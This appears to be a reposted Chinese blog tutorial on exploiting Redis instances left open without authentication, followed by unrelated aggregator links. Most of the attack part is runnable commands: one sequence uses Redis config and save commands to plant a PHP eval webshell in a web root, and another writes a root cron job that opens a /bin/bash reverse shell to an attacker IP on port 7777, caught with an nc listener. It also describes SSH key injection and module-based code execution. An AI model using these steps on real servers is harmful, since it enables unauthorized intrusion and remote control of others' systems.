Redis未授权访问漏洞

Redis未授权访问漏洞

  • 一、未授权访问漏洞概述、
  • 二、Redis未授权访问特征
  • 三、Redis常用命令
  • 四、Redis历史漏洞
    • 4.1、Redis未授权访问
    • 4.2、Redis主从复制RCE
  • 五、Reids未授权访问利用
    • 5.1、写webshell
    • 5.2、写定时任务反弹shell

一、未授权访问漏洞概述、

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

二、Redis未授权访问特征

  • 默认端口

    • Redis:6379
    • MongoDB:27017
    • Memcached:11211
    • Jboss:8080
    • Docker:2375
    • MySQL:3306
  • 端口探测:nmap端口扫描

nmap -v -Pn -p 6379 -sV 47.104.255.11
#-v:显示过程
#-Pn:no ping
#-sV:版本探测

在这里插入图片描述

  • 可以看到版本信息,可能存在未授权漏洞。

三、Redis常用命令

  • Redis简介:

Redis是一个完全开源的高性能key-value数据库。

  • Redis应用场景:

1.去最新n个数据的操作
2.排行榜,取top n个数据//最佳人气前10条
3.精确的设置过期时间
4.计数器
5.实时系统,反垃圾系统
6.pub,sub发布订阅构建实时消息系统
7.构建消息队列
8.缓存

  • Redis在互联网公司一般有以下应用:

1.String:缓存、限流、计数器、分布式锁、分布式Session
2.Hash:存储用户信息、用户主页访问量、组合查询
3.List:微博关注人时间轴列表、简单队列
4.Set:赞、踩、标签、好友关系 o
5.Zset:排行榜

# Redis常用命令redis cli -h host -p port -a password 	#redisi连接远程服务器
set testkey "Hello World"				#设置键testkey的值为字符串Hello World
get testkey								#获取键testkey的内容
set score 99							#设置键score的值为99
incr score								#使用INCR命令将score的值增加1
get score								#获取键score的内容

在这里插入图片描述

keys*							#列出当前数据库中所有的键
config set dir /home/test		#设置工作目录
config set dbfilename redis.rdb	#设置备份文件名
config get dir					#检查工作目录是否设置成功
config get dbfilename			#检查备份文件名是否设置成功
save							#进行一次备份操作
flushall						#删除所有数据(慎用)
del key							#删除键为key的数据

四、Redis历史漏洞

4.1、Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露。
  2. 执行flushall可清空所有数据。
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)。
  4. 如果Redisl以root身份运行,可以给root账户写入SSH公钥文件,免密码登录。

4.2、Redis主从复制RCE

在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redist命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的。

五、Reids未授权访问利用

漏洞利用方法:

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限。(目标主机80端口需要打开)
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell。
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器。

下载连接程序:

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz				#解压
cd redis-6.0.3/
make										#编译
cd src/
cp redis-cli /usr/bin						#客户端连接程序
  • 连接目标主机的redis服务。
redis-cli -h 192.168.9.234.177			#连接目标主机的redis服务

在这里插入图片描述

5.1、写webshell

条件:
1.知道网站根目录绝对路径
2.对目标网站根目录有写入权限

在这里插入图片描述
在这里插入图片描述

config set dir /www/wwwroot/ThinkPHP/public	
config set dbfilename yiye.php				#创建文件yiye.php
set x "<?php @eval($_POST['cmd']);?>" 		#键x,值"<?php @eval($_POST['cmd']);?>"
save

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、攻击机查看写入的一句话木马。

在这里插入图片描述

2、使用蚁剑进行连接。

在这里插入图片描述

在这里插入图片描述

5.2、写定时任务反弹shell

  • 若是目标主机不存在网站,可以写定时任务反弹shell。

有部分linux的定时任务目录不在/ar/spool/cron下,可能存在/Nar/spool//cron/crontabs下,我们可以在使用config set dir命令时进行判断是否存在该目录。

1、设置定时任务。

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.8.80/7777 0>1\n\n"	
#向192.168.8.80的7777端口传递一个会话,会话的名字叫做bin/bash,192.168.8.80是攻击主机
#bin/bash:终端get xxx 	#查看键值,是否设置成功
save

在这里插入图片描述

在这里插入图片描述

2、设置监听。

nc -lvvp 7777 	#监听端口7777

在这里插入图片描述

3、获取到会话。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/56642.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

秋招打卡011(20230807)

文章目录 前言一、今天学习了什么&#xff1f;二、算法----》单调栈1、介绍2、题目 总结 前言 提示&#xff1a;这里为每天自己的学习内容心情总结&#xff1b; Learn By Doing&#xff0c;Now or Never&#xff0c;Writing is organized thinking. 今天拿到了上周面试的结果…

C#--调用Python(包含第三方库)

1. C# 调用 Python 常见的方法有4种 参考链接 1.1 Pythonnet &#xff08;推荐&#xff09; 可以很好的支持第三方库。 推荐这个&#xff0c;经本人验证这个很好用。 后文 2. 详细使用。 1.2 IronPython 如果使用第三方库就放弃这个吧&#xff0c;真的用不了&#xff0c;使…

SSM的知识点考试系统java在线问答试卷管理jsp源代码mysql

本项目为前几天收费帮学妹做的一个项目&#xff0c;Java EE JSP项目&#xff0c;在工作环境中基本使用不到&#xff0c;但是很多学校把这个当作编程入门的项目来做&#xff0c;故分享出本项目供初学者参考。 一、项目描述 SSM的知识点考试系统 系统1权限&#xff1a;管理员 …

开源免费用|Apache Doris 2.0 推出跨集群数据复制功能

随着企业业务的发展&#xff0c;系统架构趋于复杂、数据规模不断增大&#xff0c;数据分布存储在不同的地域、数据中心或云平台上的现象越发普遍&#xff0c;如何保证数据的可靠性和在线服务的连续性成为人们关注的重点。在此基础上&#xff0c;跨集群复制&#xff08;Cross-Cl…

一文教你看懂Golang协程调度【GMP设计思想】

一文教你看懂Golang协程调度【GMP设计思想】 1 Golang调度器的由来 1.1 单进程的问题&#xff1a;进程阻塞、CPU浪费时间 单一执行程序、计算机只能一个任务一个任务来进行处理进程阻塞所带来的CPU浪费时间 1.2 多进程、多线程问题&#xff1a;设计复杂、高内存、CPU占用 设计…

ad+硬件每日学习十个知识点(24)23.8.4(时序约束,SignalTap Ⅱ)

文章目录 1.建立时间和保持时间2.为什么要建立时序约束&#xff1f;3.SignalTap Ⅱ4.SignalTap Ⅱ使用方法5.HDL的仿真软件&#xff08;modelsim&#xff09;6.阻抗匹配 1.建立时间和保持时间 答&#xff1a; 2.为什么要建立时序约束&#xff1f; 答&#xff1a; 3.Sign…

Xposed回发android.os.NetworkOnMainThreadException修复

最近用xposed进行hook回发的时候&#xff0c;又出现了新的问题&#xff1b; android.os.NetworkOnMainThreadException&#xff1b; 在Android4.0以后&#xff0c;写在主线程&#xff08;就是Activity&#xff09;中的HTTP请求&#xff0c;运行时都会报错&#xff0c;这是因为…

【云原生】Docker-compose中所有模块学习

compose模块 模板文件是使用 Compose 的核心&#xff0c;涉及到的指令关键字也比较多。但大家不用担心&#xff0c;这里面大部分指令跟 docker run 相关参数的含义都是类似的。 默认的模板文件名称为 docker-compose.yml&#xff0c;格式为 YAML 格式。 version: "3&quo…

node爬取中国行政区域geo数据

依赖 {"dependencies": {"axios": "^1.4.0","colors": "^1.4.0","express": "^4.18.2","fs": "^0.0.1-security"} }数据来源 https://datav.aliyun.com/portal/school/atlas/are…

c++实现Qt信号和槽机制

文章目录 简介信号槽信号与槽的连接 特点观察者模式定义观察者模式结构图 实现简单的信号和槽 简介 信号槽机制与Windows下消息机制类似&#xff0c;消息机制是基于回调函数&#xff0c;Qt中用信号与槽来代替函数指针&#xff0c;使程序更安全简洁。  信号和槽机制是 Qt 的核心…

ViSQOL、PESQ、mosnet等mos分打分工具和Polqa语音感知音质打分测评

原创&#xff1a;转载需附链接&#xff1a; https://blog.csdn.net/qq_37100442/article/details/132057139?spm1001.2014.3001.5502 一、背景 Mos分评价音质重要指标&#xff0c;最近也有很多机构和公司在研究适合自己的评价体系。目前Mos分主要分为主观评测和客观感知评价。…

【项目多人协作的困扰】git-cli 解决 git merge 合并时 lock 文件变化,忘记重新安装依赖的问题

项目多人协作的困扰 相信大家多多少少都遇到过&#xff0c;当主线分支的代码&#xff0c;合入到自己的分支的时候&#xff0c;如果这时候&#xff0c;主线中有一些依赖的更新或者添加或者删除&#xff0c;如果合入之后&#xff0c;没有及时的install的话&#xff0c;项目启动的…